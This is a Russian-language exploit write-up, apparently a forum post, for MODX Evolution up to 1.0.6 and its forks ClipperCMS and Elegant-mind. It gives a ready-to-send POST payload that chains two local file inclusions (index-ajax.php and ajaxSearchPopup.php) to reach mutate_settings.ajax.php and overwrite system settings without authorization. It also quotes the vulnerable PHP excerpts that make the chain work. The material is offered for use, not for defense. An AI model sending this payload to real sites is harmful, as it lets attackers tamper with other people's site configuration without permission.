Перезапись системных настроек
Уязвимые версии движков: все MODX Evolution <= 1.0.6 + форки ClipperCMS и Elegant-mind
Эксплуатация уязвимост возможна из-за двойного LFI файлах
- index-ajax.php
- assets/snippets/ajaxSearch/ajaxSearchPopup.php
(эти LFI предназначены для системных нужд. т.е. особенности движка:-)
Отправляем POST пакет q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&search=test&a ction=setsetting&key=site_name&value=b&ucfg=".urle ncode("&config=`@FILE:manager/includes/mutate_settings.ajax.php`") на index-ajax.php
для перезаписи системной настройки site_name.
После выполнения эксплоита кеш сайта не отчищается, т.к. скрипт mutate_settings.ajax.php вываливается в ошибку. Поэтому придется подождать пока кеш сайта не обновится (ждем когда админ сайта изменит что-то через админку).
По просьбе трудящихся вот выжимки из исходников
index-ajax.php
PHP код:
if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
$axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler);
$axhandler = realpath($axhandler) or die();
$directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets');
$axhandler = realpath($directory.str_replace($directory, '', $axhandler));
if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
include_once($axhandler);
exit;
}
}
assets/snippets/ajaxSearch/ajaxSearchPopup.php
PHP код:
function parseUserConfig($ucfg) {
preg_match('/&config=`([^`]*)`/', $ucfg, $matches);
return $matches[1];
}
if (isset($_POST['search'])) {
define('AS_VERSION', '1.9.2');
...
if (!isset($_POST['as_version']) || (strip_tags($_POST['as_version']) != AS_VERSION)) {
$output = "AjaxSearch version obsolete. <br />Please check the snippet code in MODx manager.";
}
else {
....
$config = parseUserConfig((strip_tags($_POST['ucfg'])));
...
$lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6));
if (file_exists($lconfig)) include $lconfig;
....
manager/includes/mutate_settings.ajax.php
PHP код:
$action = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $_POST['action']);
$lang = preg_replace('/[^A-Za-z0-9_\s\+\-\.\/]/', '', $_POST['lang']);
$key = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $_POST['key']);
$value = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $_POST['value']);
$action = $modx->db->escape($action);
$lang = $modx->db->escape($lang);
$key = $modx->db->escape($key);
$value = $modx->db->escape($value);
...
if($action == 'get') {
....
} elseif($action == 'setsetting') {
if(!empty($key) && !empty($value)) {
$sql = "REPLACE INTO ".$modx->getFullTableName("system_settings")." (setting_name, setting_value) VALUES('{$key}', '{$value}');";
....